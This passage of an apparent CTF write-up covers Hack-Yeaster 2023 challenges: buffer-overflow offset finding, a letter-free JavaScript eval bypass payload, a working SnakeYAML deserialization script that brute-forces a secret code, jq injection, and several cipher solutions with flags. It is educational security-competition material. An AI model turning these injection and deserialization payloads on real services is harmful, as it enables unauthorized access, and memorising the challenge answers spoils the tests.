0024| 0x7fffffffdd60 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0032| 0x7fffffffdd68 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0040| 0x7fffffffdd70 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0048| 0x7fffffffdd78 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0056| 0x7fffffffdd80 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400749 in vuln ()
we take the top value off the stack to determine the pattern offset:
1
2
3
gdb-peda$ pattern_offset AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAe
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAe found at offset: 40
We don’t get a system()
call in the code directly, but since printf is used, the entire libc library is loaded, we just need to find the right address?
1
2
3
gdb-peda$ print system
$1 = {int (const char *)} 0x7ffff7c50d60 <__libc_system>
Flag
unsolved
Coney Island Hackers 2
Challenge
Coney Island Hackers are back!
They changed the passphrase of their secret web portal to: coneʸisland.
However, they implemented some protection:
letters and some special characters are not allowed, maximum length of the string entered is 75
http://ch.hackyeaster.com:2302
Note: The service is restarted every hour at x:00.
Hint: eval
Solution
We get a website with a form where we need to enter the password:
We are given the password (coneʸisland), but can’t just enter it due to filters
We are not allowed to use a bunch of characters, including letters, _
, /
, and $
Let’s look at the source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<html>
<head>
<title>Coney Island Hackers</title>
<link rel="stylesheet" href="https://unpkg.com/purecss@2.0.6/build/pure-min.css" integrity="sha384-Uu6IeWbM+gzNVXJcM9XV3SohHtmWE+3VGi496jvgX1jyvDTXfdK+rfZc8C1Aehk5" crossorigin="anonymous" />
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css" />
<link rel="stylesheet" href="styles.css" />
</head>
<body>
<div class="splash-container">
<div class="splash">
<img class="title-image" src="title.png" />
<h1 class="splash-head smaller">Coney Island Hackers 2</h1>
<p class="splash-subhead"></p>
<div class="green">enter passphrase to enter</div>
<form role="form" method="GET" action="/">
<div class="form-group"></div>
<label for="passphrase"></label>
<input class="form-control" id="name" type="text" placeholder="passphrase" name="passphrase" />
<button class="pure-button pure-button-primary" type="submit" name="form">
Login
</button>
</form>
<p></p>
</div>
</div>
</body>
</html>
There is nothing much in the source, so it seems like we will have to find a creative way to input the password
If we input 2+2
, we get the message invalid expression
And the hint for this challenge was eval
, so clearly our input is going into an eval call
We could use JSfuck to pass in our password without using letters, but this generates strings that are way longer than our limit of 75 characters
In javascript, we can get some letters in other ways
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// "true"
!0+'';
// "false"
!1+'';
// "[object Object]"
{}+'';
// "undefined"
[][1]+'';
// "Infinity" yeilds: y
1/0+'';
We cannot use the last expression because /
is disallowed, but we don’t need a proper y anyway.
So we can get all characters in the strings true
, false
, undefined
, [object Object]
So this is what we can get without using any letter characters are:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
a = (!1+'')[1] // "false"[1]
b = ({}+'')[2] // "[object Object]"[2]
c = ({}+'')[5] // etc
d = ([][1]+'')[2]
e = (!1+'')[4]
f = (!1+'')[0]
g
h
i = (1/0+'')[5]
j = ([]+{}+'')[3]
k
l = (!1+'')[2]
m
n = (1/0+'')[1]
o = ({}+'')[1]
p
q
r = (!0+'')[1]
s = (!1+'')[3]
t = (!0+'')[0]
u = (!0+'')[2]
v
w
x
y = (1/0+'')[y] // cannot use because / character disallowed
That covers all the characters we need, but this would still be too many characters since it needs about 10 characters per letter and we also need to concatenate them together with +
symbols..
so let’s create a variable containing all the letters we need once, then accessing them as we need. We cannot use ascii letters for variable name, so we use ß
1
2
3
4
ß=''+[][1]+!1+{}; // "undefinedfalse[object Object]"
// coneʸisland
ß[19]+ß[15]+ß[1]+ß[3]+'ʸ'+ß[5]+ß[12]+ß[11]+ß[10]+ß[1]+ß[2]
So we enter the following string in the password box, and get our flag!
ß=''+[][1]+!1+{};ß[19]+ß[15]+ß[1]+ß[3]+'ʸ'+ß[5]+ß[12]+ß[11]+ß[10]+ß[1]+ß[2]
Note: first we used ß=''!1++[][1]+{}; // "falseundefined[object Object]"
(different order of the substrings), but ended up 1 character over the limit because we needed a 2-digit index once more often than in the real solution, grrr!
Flag
he2023{fun_w1th_ev1l_ev4l_1n_nyc}
Digital Snake Art
Challenge
I’m a big fan of digital art!
How do you like my new gallery?
http://ch.hackyeaster.com:2307
Note: The service is restarted every hour at x:00.
Solution
The website is a set of images generated by DALL-E
and e.g. the “Snakes in space” page looks like:
and has an url like:
1
http://ch.hackyeaster.com:2307/art?art=bmFtZTogU25ha2VzIGluIFNwYWNlCmltYWdlOiBzbmFrZXNfaW5fc3BhY2UKc291cmNlOiBEQUxMLUUKcmVzb2x1dGlvbjogMjU2eDI1Ng==
let’s see what’s in the base64 string:
1
2
3
4
$ echo "bmFtZTogU25ha2VzIGluIFNwYWNlCmltYWdlOiBzbmFrZXNfaW5fc3BhY2UKc291cmNlOiBEQUxMLUUKcmVzb2x1dGlvbjogMjU2eDI1Ng==" | base64 -d
name: Snakes in Space
image: snakes_in_space
source: DALL-E
So we probably have to manipulate that base64 string to get it to give it our flag.
But we get the source code, so let’s look at that:
1
2
3
4
5
6
7
8
9
10
11
12
package com.hackyeaster.digitalsnakeart;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.hackyeaster.digitalsnakeart;
public class Code {
private final short code;
public Code(short code) {
this.code = code;
}
public boolean isCorrect() {
return (code > 0 && code < 500 && code == SnakeService.getSecretCode());
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.hackyeaster.digitalsnakeart;
import java.io.ByteArrayInputStream;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.core.env.Environment;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.yaml.snakeyaml.Yaml;
@org.springframework.stereotype.Controller
public class Controller {
@Autowired
private Environment env;
@GetMapping("/")
public String index(Model model) {
return "index";
}
@GetMapping("/art")
public String path(Model model, @RequestParam(name = "art") String art) {
SnakeService.initialize(env);
SnakeArt result = parse(art);
if (result == null) {
return "fail";
}
model.addAttribute("name", result.getName());
model.addAttribute("image64", result.getImage().getBase64String());
model.addAttribute("source", result.getSource());
model.addAttribute("resolution", result.getResolution());
return "art";
}
private SnakeArt parse(String string) {
try {
byte[] yml = Base64.getDecoder().decode(string);
InputStreamReader reader = new InputStreamReader(new ByteArrayInputStream(yml), StandardCharsets.UTF_8);
return new Yaml().loadAs(reader, SnakeArt.class);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
package com.hackyeaster.digitalsnakeart;
public class Flag extends Image {
public Flag(Code code) {
if (code.isCorrect()) {
this.base64String = SnakeService.loadFlag();
} else {
this.base64String = SnakeService.load("snake_no_access");
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.hackyeaster.digitalsnakeart;
public class Image {
protected String base64String;
public String getBase64String() {
if (base64String == null) {
return SnakeService.load("fail");
}
return base64String;
}
protected Image() {
}
public Image(String name) {
this.base64String = SnakeService.load(name);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.hackyeaster.digitalsnakeart;
import lombok.Getter;
import lombok.Setter;
public class SnakeArt {
@Getter
@Setter
public String name;
@Getter
@Setter
public Image image;
@Getter
@Setter
public String source;
@Getter
@Setter
public String resolution;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.hackyeaster.digitalsnakeart;
import org.springframework.core.env.Environment;
import org.springframework.stereotype.Service;
@Service
public class SnakeService {
private static Environment env;
static void initialize(Environment environment) {
if (env == null) {
env = environment;
}
}
static short getSecretCode() {
return env != null ? new Short(env.getProperty("secret.code")) : -1;
}
static String load(String name) {
if (name != null && name.startsWith("snake") && name.length() <= 30) {
return env.getProperty("image." + name);
}
return env.getProperty("image.notfound");
}
static String loadFlag() {
return env.getProperty("image.flag");
}
}
So it looks like there is a secret code stored in env.getProperty("secret.code")
SnakeYaml
So it’s definitely SnakeYaml which had a recent CVE. Their wiki makes for some fun reading, especially the issue that is linked where Andrey asserts quite strongly that developers will only ever load trusted YAML.
Not sure if we need to do this sort of setup with our own class hosted somewhere?, that seems excessive since we don’t really need RCE, and we know which classes we can work with.
Here’s the script I have so far:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
t = f"""
!!com.hackyeaster.digitalsnakeart.Flag
image: snakes_at_the_beach
name: &K snek
source: asdf
source: *K
resolution: 256x256
""".strip()
print(t)
query = base64.b64encode(t.encode('utf-8')).decode('utf-8')
print(query)
res = requests.get("http://ch.hackyeaster.com:2307/art?art=" + query).text.split('\n')
for x in res:
if '<h' in x:
print(x)
if '<img' in x:
digest = hashlib.md5(x.encode('utf-8')).hexdigest()
if digest == "6bb27636aafe5e67fdc4ce31ff771942":
print("404 error")
else:
print(digest)
but it seems to accept any value for the !!com
bit so I guess I’m not doing that right. Looking at how python does it so I don’t have to read java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class A:
def __init__(self, a=0):
self.a = a
class Z(int):
pass
class B:
def __init__(self, a):
self.a = a
import yaml
b = B(A(a=Z(1)))
print(yaml.dump(b))
produces the following yaml:
1
2
3
4
!!python/object:__main__.B
a: !!python/object:__main__.A
a: !!python/object/new:__main__.Z
- 1
Exploiting
Ok so com.hackyeaster.digitalsnakeart.Flag
is a super class of Image
, so we just need to first annotate that it’s an image:
1
2
3
4
5
6
7
8
!!com.hackyeaster.digitalsnakeart.SnakeArt
image: !!com.hackyeaster.digitalsnakeart.Flag
- 42
name:
- &K snek
source: asdf
source: *K
resolution: 256x256
Apparently, judging by the python above, you can just pass class arguments as a list (?!?!) and that’s equivalent to passing an argument by itself.
You can see I was testing other common yaml nonsense like references to see if that was the solution but no joy.
1
2
3
name: snek
name:
- snek
For some reason these are equivalent? That’s kinda wild to me. SnakeYaml is truly bizarre.
Anyway, now we can just iterate over values rather than 42 (literally just did a for loop range(500)) and it gave us the flag!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import hashlib
import requests
import base64
for i in range(500):
print(i)
t = f"""
!!com.hackyeaster.digitalsnakeart.SnakeArt
image: !!com.hackyeaster.digitalsnakeart.Flag
- {i}
name: snek
source: asdf
source: snek
resolution: 256x256
""".strip()
query = base64.b64encode(t.encode('utf-8')).decode('utf-8')
res = requests.get("http://ch.hackyeaster.com:2307/art?art=" + query).text.split('\n')
for x in res:
#if '<h' in x:
# print(x)
if '<img' in x:
digest = hashlib.md5(x.encode('utf-8')).hexdigest()
if digest == "6bb27636aafe5e67fdc4ce31ff771942":
print("404 error")
elif digest == "5c2542cae881042b452596416a33eb66":
print("TODO error")
elif digest == "0f6ef75665a4cbb3998311f0ef021d19":
print("beach snakes")
elif digest == "10e42425510009d3c98ae54cec482039":
print("false flag")
else:
print(t)
print(query)
print(digest)
break
Flag
he2023{0n3_d03s_n0t_s1mply_s0lv3_th1s_chllng!}
Fruity Cipher
Challenge
I found this fruity message. Can you decrypt it?
🥦🥝🍋🍊🥭🍌🫑🧅 🧅🥝🥖 🍉🍠🥬🫐 🍉🫐🥔🥥🍈 🥔🍌🥝🥖🍏 🥐🍍🥦🍉🍇🥥🍋 🥑🍉🍍🥐🍉 🍅🍠🥦 🍋🥭🍓🍐🌶🍇 🥕🌶🥔🥭🍓🍏🍒🍆🍏 🌶🫐🍎🍏🍒🥥🍊 🍎🥝 🍅🥝🥥🍇 🍎🍉🥔🍓 🥝🍓🍇 🥐🥭🥦🍉🍇🥥🍏🫐🍆🍎 🌶🫐🍎🍏🍇🥥🍋 🍎🍉🍇🍊🫐 🍠🥥🍒 🥐🍠🌶🫑🫐🍈 🍉🥝🍅🥝🥦🍉🥝🍓🍍🥐 🥐🍍🥕🍉🫐🥥🍋 🍏🍉🍇 🍋🥝🫑🥖🍏🍍🥝🍓 🥭🍋 🍉🧅🥦🍒🥥🥬🥭🍏🍠🍅🥭🍓🥝🍋🥭🍊
🚩 Flag
- lowercase only, no spaces
- wrap into he2023{ and }
- example: he2023{exampleflagonly}
Hints
- the plaintext consist of lowercase letters (and spaces) only
- there are more than 26 symbols
- 🍏 == 🍎
Solution
Ok, so we get a bunch of fruits, spaces seem to be in the right places. Substitution cipher? But we have more that 26 characters. Let’s convert it to ASCII characters to make it easier to work with.
1
2
3
4
5
6
7
8
9
10
11
ct = "🥦🥝🍋🍊🥭🍌🫑🧅 🧅🥝🥖 🍉🍠🥬🫐 🍉🫐🥔🥥🍈 🥔🍌🥝🥖🍏 🥐🍍🥦🍉🍇🥥🍋 🥑🍉🍍🥐🍉 🍅🍠🥦 🍋🥭🍓🍐🌶🍇 🥕🌶🥔🥭🍓🍏🍒🍆🍏 🌶🫐🍎🍏🍒🥥🍊 🍎🥝 🍅🥝🥥🍇 🍎🍉🥔🍓 🥝🍓🍇 🥐🥭🥦🍉🍇🥥🍏🫐🍆🍎 🌶🫐🍎🍏🍇🥥🍋 🍎🍉🍇🍊🫐 🍠🥥🍒 🥐🍠🌶🫑🫐🍈 🍉🥝🍅🥝🥦🍉🥝🍓🍍🥐 🥐🍍🥕🍉🫐🥥🍋 🍏🍉🍇 🍋🥝🫑🥖🍏🍍🥝🍓 🥭🍋 🍉🧅🥦🍒🥥🥬🥭🍏🍠🍅🥭🍓🥝🍋🥭🍊"
ct2 = ct.replace(" ","")
fruits = set(ct2)
fruitstr = "".join (fruits)
alphanum = "abcdefghijklmnopqrstuvwxyz123"
t = ct.maketrans(fruitstr,alphanum)
print(ct.translate(t))
this gives us a ciphertext of
1
wqsaonmx xqv zphj zjb3f bnqvu tewz13s rzetz cpw soydi1 kiboyul2u ijgul3a gq cq31 gzby qy1 towz13uj2g ijgu13s gz1aj p3l tpimjf zqcqwzqyet tekzj3s uz1 sqmvueqy os zxwl3houpcoyqsoa
Now we enter this in dcode.fr substitution solver. And the automatic analyzer gets us sortof close, we recognize a possible subsentence “more than one”, and then we fiddle a bit more with the mapping between plaintext and ciphertext, quickly realizing that different ciphertext letters map to the same plaintext letter, so we are dealing with a homophonic cipher.
The text we get is
1
2
3
4
5
POSSIBLY YOU HAVE HEA3D ABOUT CIPH13S
WHICH MAP SINGL1 PLAINTE2T LETTE3S TO
MO31 THAN ON1 CIPH13TE2T LETT13S TH1SE
A3E CALLED HOMOPHONIC CIPHE3S TH1
SOLUTION IS HYPE3VITAMINOSIS
from this we can see that the missing mappings are 1=E, 2=X, 3=R
, and so the full message reads:
1
2
3
4
5
POSSIBLY YOU HAVE HEARD ABOUT CIPHERS
WHICH MAP SINGLE PLAINTEXT LETTERS TO
MORE THAN ONE CIPHERTEXT LETTERS THESE
A3E CALLED HOMOPHONIC CIPHERS THE
SOLUTION IS HYPERVITAMINOSIS
and we find our flag!
Flag
he2023{hypervitaminosis}
Kaos Motorn
Challenge
What? Is? This? Kaos?
Hint: Inputs are in the range 0..9.
Solution
We get a link to a mysterious Google spreadsheet:
We make our own copy that we can fool around with
Basically, there are a set of equations, converting a set of input numbers (along the outside ring), and leading to a flag (in the middle). Assumuing it starts with he2023
, we get the following equations for the first output character
1
2
3
4
5
6
7
8
9
10
11
12
h = 52 + B5 = 104 // should be 104 for 'h'
B5 = J13+D11+F12+I10 % 64 = 52
J13 = D14+B7*E2 % 64
D11 = E2*G14 % 64
F12 = E2*B7+D14 % 64
I10 = J6*G14+B7 % 64
D14 = 7
B7 = 9
E2 = 5
G14 = 8
J6 = 2
Presumable we can alter the values in cells D14,B7,E2,G14,J6 to get our flag?
We will need to do this for more of the known characters then
ok, lets do the same for e
1
2
3
4
5
6
e = 44 + I7 # must be 101
I7 = F12+D11*G6+H3 # must be 57
F12 = E2 * B7+ D14 % 64
D11 = E2 * G14 % 64
G6 = G14*B7+D14 % 64
H3 = B7*J6*7 % 64
Since we know the inputs are in range of of 0-9, we write a small script to see how many possibilities this leaves us with
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
options = 0
for d14 in range(0,9):
for b7 in range(0,9):
for e2 in range(0,9):
for g14 in range(0,9):
for j6 in range(0,9):
# equations for h
i10 = (j6*g14+b7) % 64
f12 = (e2*b7+d14) % 64
d11 = (e2*g14) % 64
j13 = (d14 +b7*e2) % 64
b5 = (j13+d11+f12+i10) % 64
# equations for e
h3 = (b7*j6*7) % 64
g6 = (g14*b7+d14) % 64
i7 = (f12+d11*g6+h3) % 64
if b5 == 52 and i7 == 57:
options += 1
print("d14: "+str(d14)+" b7: "+str(b7)+" e2: "+str(e2)+" g14: "+str(g14)+" j6: "+str(j6))
print("Options: "+ str(options))
This still leaves us with 18 differnt options for the 5 inputs, so we add another restriction for the next character of the string we know (2
)
1
2
3
4
5
6
'2' = 48+J3 # should be 50
J3 = F12+D11+D5+F4 % 64 # should be 2
F12 = see above
D11 = see above
D5 = E2+J6+B7+D14+G14
F4 = E2*G14+D14+J6
so we add this to our script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
options = 0
for d14 in range(0,9):
for b7 in range(0,9):
for e2 in range(0,9):
for g14 in range(0,9):
for j6 in range(0,9):
# equations for h
i10 = (j6*g14+b7) % 64
f12 = (e2*b7+d14) % 64
d11 = (e2*g14) % 64
j13 = (d14 +b7*e2) % 64
b5 = (j13+d11+f12+i10) % 64
# equations for e
h3 = (b7*j6*7) % 64
g6 = (g14*b7+d14) % 64
i7 = (f12+d11*g6+h3) % 64
# equations for '2'
d5 = (e2+j6+b7+d14+g14) % 64
f4 = (e2*g14+d14+j6) % 64
j3 = (f12+d11+d5+f4) % 64
if b5 == 52 and i7 == 57 and j3 == 2:
options += 1
print("d14: "+str(d14)+" b7: "+str(b7)+" e2: "+str(e2)+" g14: "+str(g14)+" j6: "+str(j6))
print("Options: "+ str(options))
and this leaves us with just 1 option for input cells:
1
2
3
4
5
D14: 1
B7: 2
E2: 8
G14: 5
J6: 8
And when we fill that in our spreadsheet, we get the full flag:
Flag
he2023{Th4tSKa0Z!}
This One Goes To 11
Challenge
So tell me, how do I escape hell, wise man?
Connect to the server.
nc ch.hackyeaster.com 2309
Hint: Non est facilis labor fugere infernum, quia est fundamentum omnis mali ac nequitiarum. Solum ultima tua clamor te liberabit ex hoc loco. Sed ante te volvendus campis ad sinistram et ad dexteram et evadendus insidias mali Xorxis. Sed ne putes id facile fore, qui victoriam quaerit, oportet ei mentem habere quid in hoc labore vero est momenti.
Solution
this is found in the strings, and, unsurprisingly, is not it.
1
HE23{H3ll_a1nt_a_b@d_pl@c3!h377_i$_fr0m_h343_t0_3t3erni7y}
But maybe the online version of the program has the real flag there, we just need to figure out how to make the program give it to us?
Flag
unsolved
Thumper's PWN 1
Challenge
Thumper has finally reached the innermost ring. He’s given one last task to complete. You need to get a passing average to get the flag.
Target: nc ch.hackyeaster.com 2315
Solution
Flag
unsolved
Jason
Challenge
Jason has implemented an information service.
He has hidden a flag in it, can you find it?
Connect to the server:
nc ch.hackyeaster.com 2304
Solution
Ahh the name should’ve been a give away huh? It took me a minute nonetheless
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> 1/2
Result: 0.05
> enter "name", "surname", "street", "city", "country", or "q" to quit
> 20/1
Result: 0.2
> enter "name", "surname", "street", "city", "country", or "q" to quit
> 200/1
Result: 0.2
> enter "name", "surname", "street", "city", "country", or "q" to quit
> 1 + 1
Result: 1.1
> enter "name", "surname", "street", "city", "country", or "q" to quit
> 1 + 1 + 1
Result: 2.1
> enter "name", "surname", "street", "city", "country", or "q" to quit
From the above I finally understood it must be prepending .
to the queries, and since it’ll process math, we can use it as an annoying calculator. But the key realisation is the .
is prepended.
So we can try some other JSON access things like you’d do with jq
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> []
Result: "Jason"
> enter "name", "surname", "street", "city", "country", or "q" to quit
> [][0]
Something went wrong.
> enter "name", "surname", "street", "city", "country", or "q" to quit
> [0]
Something went wrong.
> enter "name", "surname", "street", "city", "country", or "q" to quit
> [1]
Something went wrong.
> enter "name", "surname", "street", "city", "country", or "q" to quit
> {}
Invalid input!
> enter "name", "surname", "street", "city", "country", or "q" to quit
Ahh keys
works
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
> | to_entries
Result: [
> enter "name", "surname", "street", "city", "country", or "q" to quit
> | to_keys
Something went wrong.
> enter "name", "surname", "street", "city", "country", or "q" to quit
> keys
Result: null
> enter "name", "surname", "street", "city", "country", or "q" to quit
> | .keys
Result: null
> enter "name", "surname", "street", "city", "country", or "q" to quit
> | keys
Result: [
> enter "name", "surname", "street", "city", "country", or "q" to quit
> | keys | .[0]
Result: "city"
> enter "name", "surname", "street", "city", "country", or "q" to quit
> | keys | .[1]
Result: "country"
> enter "name", "surname", "street", "city", "country", or "q" to quit
> | keys | .[2]
Result: "covert"
> enter "name", "surname", "street", "city", "country", or "q" to quit
> | keys | .[3]
Result: "name"
> enter "name", "surname", "street", "city", "country", or "q" to quit
> | keys | .[4]
Result: "street"
> enter "name", "surname", "street", "city", "country", or "q" to quit
> | keys | .[5]
Result: "surname"
> enter "name", "surname", "street", "city", "country", or "q" to quit
> | keys | .[6]
Result: null
> enter "name", "surname", "street", "city", "country", or "q" to quit
> covert
Result: {
> enter "name", "surname", "street", "city", "country", or "q" to quit
and covert looks interesting!
1
2
3
4
5
> covert | keys | .[0]
Result: "flag"
> enter "name", "surname", "street", "city", "country", or "q" to quit
> covert.flag
Result: "he2023{gr3pp1n_d4_js0n_l1k3_4_pr0!}"
it can’t be this easy?
Flag
he2023{gr3pp1n_d4_js0n_l1k3_4_pr0!}
The Little Rabbit
Challenge
Oh no! Someone encrypted my poem, using a One-Time-Pad.
Good news: Each line was encrypted individually, with the same key.
Bad news: The plaintext was changed somehow, before encryption.
Solution
1
2
3
4
5
6
The Little Rabbit Ohaal
626b34041c11143a444e1b342c0e341036592d39044a0c102505145b57030c1b0e15290a533231071f71040465221023026b
7a2a304a14115a311d5b4d3d320e66520a11392e124a1000621a414310014e070245350f147431150a7105142273103a4328132f01181e
733e334a0615513203170a263d1632100f506c3f1d18461c2015554316074e1f1c47264c257427061f71080a2273103a4328043c47
626b2b081412463144411e733e0574004b0237280d5b09393315004103050f2a5d6a240943272513592c4a142373153c11670534050d1e
The Ohaal
in the file is rot13 for Bunny
, so we’re likely looking for rot13’d plaintext?
We try a cribdragging approach but look for rot13 words instead of plain English
The challenge mentions a poem, so it seems likely the last line contains our flag.
We us an online crib-dragging tool, and since it only works for pairs of ciphertexts, we open a window for each combination of lines that involves the 4th line, since we are primarily interested in the flag.
Step 1
We start by trying the crib he2023{
(we need to provide it in ROT13, so we use ur2023{
) and see if we get anything that looks like it might be valid ROT13 text
Here is a screenshot of the online tool we used:
And this crib gives us the following results
Among the results we see ggyr Oha
, which looks potentiall like RO13 English? And indeed, ROT13 of that is ttle Bun
..could very well be “little Bunny”! (“Ohaal” was also in our ciphertext file!). We set that as part of output 1 (since we theorized the fourth line, here output 2, contains the crib we used)
Step 2
Next we guess that the plaintext is indeed little Bunny
, ROT13 that (yvggyr Ohaal
), and now use that as the crib, so that hopefully we can reveal some of the letters around our he2023{
string:
We see that vs ur2023{pe1
is among the results, which is is he2023{cr1
ROT13 decoded, that looks promising!
Step 3
We can keep guessing here, maybe is he2023{cr1
-> flag is he2023{cr1b
? ..but we can also fill in what we know using one of the other ciphertext lines
For example, using a combination of line 2 and 4, and using vs ur2023{pe1
as a crib, we get a result of l nyy bs uvz
which translates to y all of him
Step 4
We continue in this way until we slowly reveal all the plaintext, doing this for the various different combinations of cipher text lines simultaneously, slowly extending and guessing more plaintext, seeing if it works in the other encrypted lines.
Final
After a while we are able to fully decrypt the 4 messages:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
626b34041c11143a444e1b342c0e341036592d39044a0c102505145b57030c1b0e15290a533231071f71040465221023026b
v unir n yvggyr Ohaal jvgu n pbng nf fbsg nf qbja
i have a little Bunny with a coat as soft as down
7a2a304a14115a311d5b4d3d320e66520a11392e124a1000621a414310014e070245350f147431150a7105142273103a4328132f01181e
naq arneyl nyy bs uvz vf juvgr rkprcg bar ovg bs oebja
and nearly all of him is white except one bit of brown
733e334a0615513203170a263d1632100f506c3f1d18461c2015554316074e1f1c47264c257427061f71080a2273103a4328043c47
gur svefg guvat va gur zbeavat jura V trg bhg bs orq
the first thing in the morning when I get out of bed
626b2b081412463144411e733e0574004b0237280d5b09393315004103050f2a5d6a240943272513592c4a142373153c11670534050d1e
v jbaqre vs ur2023{pe1o_qe4ttva_4_ce0svg!} vf gur synt
i wonder if he2023{cr1b_dr4ggin_4_pr0fit!} is the flag
Flag
he2023{cr1b_dr4ggin_4_pr0fit!}